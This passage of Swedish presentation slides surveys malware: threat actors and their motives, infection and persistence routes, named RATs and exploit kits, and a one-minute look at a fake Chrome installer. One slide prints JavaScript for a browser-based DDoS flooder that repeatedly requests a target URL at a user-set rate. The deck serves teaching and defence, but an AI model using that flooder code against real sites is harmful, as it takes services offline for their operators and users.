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Grovt indelad malwarekarta 



• Internet en internationell brottsarena 

• Lockar alla möjliga typer 

• Malware är inte bara trojaner och nätverksmaskar 

– Webbaserade bakdörrar 

– Preparerade webbsidor med kod som utnyttjar sårbarheter I webbläsare och 

insticksprogram 

– Cracks för mjukvara  

– DDoS-verktyg 

 

Egentligen är malwarekartan mer komplex 



• Malware kan använda ett komplext modulärt mönster av infektions- och 

spridningssätt 

– 0days 

– Stulna certifikat 

– Rootkit som döljer händelser i operativsystemet 

– Malwaremoduler skrivna i flera språk, exempelvis Lua  

– Exempel: Duqu, Stuxnet, Gauss, Flame 

– Detta är bara början.. 

 





  function start() { 

        if (isFiring) { 

            clearInterval(fireInterval); 

            isFiring = false; 

            this.innerHTML = "FIRE!"; 

        } else { 

            isFiring = true; 

            this.innerHTML = "STOPPA!"; 

            fireInterval = setInterval(makeHttpRequest, 

(1000 / parseInt(requestsNode.value) | 0)); 

            } 

        }; 



• var makeHttpRequest = function () { 

        if ( (currentTime.getTime()-lastSuccess) > 10000) { 

            return; 

        } else { 

            lastSuccess = currentTime.getTime(); 

        }; 

                  

        var rID =Number(new Date()); 

  

        var img = new Image(); 

        img.onerror = function () { onFail(rID); }; 

        img.onabort = function () { onFail(rID); }; 

        img.onload = function () { onSuccess(rID); }; 

        img.setAttribute("src", target + "?id=" + rID + "&msg=" + 

messageNode.value); 

        requestsHT[rID] = img; 

        onRequest(rID); 

        } 







Exploitpacks – Blackhole 2.0 



HIAAS – Hacked infrastructure as a service 







Aktör Motivation 

Icke organiserad / löst organiserad 

 

 

Ändamålet ”att äga information”, tjäna 

personliga syften, nöjeshack. ”w0w 

100k wh4t 1 h4ck3d!” 

 

Organiserad 

 

Omsättningsbar information, 

propagering av politiska budskap, 

konkurrera med jämbördiga 

organisationer 

 

Militär / underrättelsetjänst (statlig 

aktör) 

Kontroll över strategiskt viktig 

information. Information som skapar 

fördel i tider av fred eller konflikt. Sprida 

desinformation.  

Offensiva aktörer 



• 1) Hur gick infektionen till 

– Webbsida 

– USB-sticka med Autorun.inf 

• 2) Vad gör malwaremjukvaran efter infektion? 

• 3) Engångsinfektion eller nätverksspridning? 

• 4) Beständig malware, i så fall hur? (fil på webbserver, registret, API-hooking, 

patchning av operativsystemskärnan, bootloader etc) 

Premisser och distinktioner 



Trojan / 
bakdörr 
Trojan / 
bakdörr 

Encoder / 
Kryptering / 
Packning 

Encoder / 
Kryptering / 
Packning 

Modifierad 
trojan 

Modifierad 
trojan 

Vanligt förekommande 

Hel- eller delvis kodning 

av payload. Rutiner för 

att motverka debugging, 

körning i virtuella 

maskiner vid analys 

m.m. 

 

 

Måste ofta analyseras 

dynamiskt (livemiljö, 

virtuell maskin, emulator). 

Ofta kodad på ett sätt 

Som försvårar analys.  

Metoder för att dölja 

funktionsanrop osv 



• RAT (remote administration tool, verktyg för fjärradministration) 

– Bifrost (1.2.1d, “Coffin of Evil”) 

– Darkcomet 

• Exploit-kit/ Exploit-packs 

– Neosploit 

– Redkit 

– Blackhole  

• Packers 

– UPX 

– ASPack 

 

Exempel på verktyg 





Live malware-site 



jj$ md5 google_chrome_installer.exe  

MD5 (google_chrome_installer.exe) = bfd8596161f9d0982f873f5d7aa76821 

 

MD5-summan genererar ingen träff i Virustotal eller Google 
 

 

Vi laddar hem google_chrome_installer.exe 



jj$ strings google_chrome_installer.exe | more 

!This program cannot be run in DOS mode. 

.text 

.data 

.rdata 

@.bss 

.idata 

.yomygr 

VJ># 

g&ppp 

guqpp 

pppH 

gzspp 

pppH 

g_spp 

pppH 

g;spp 

pppH 

 

En-minuts-analys 



1 minute analysis 









Exempel på ransomware (“Reveton”) 
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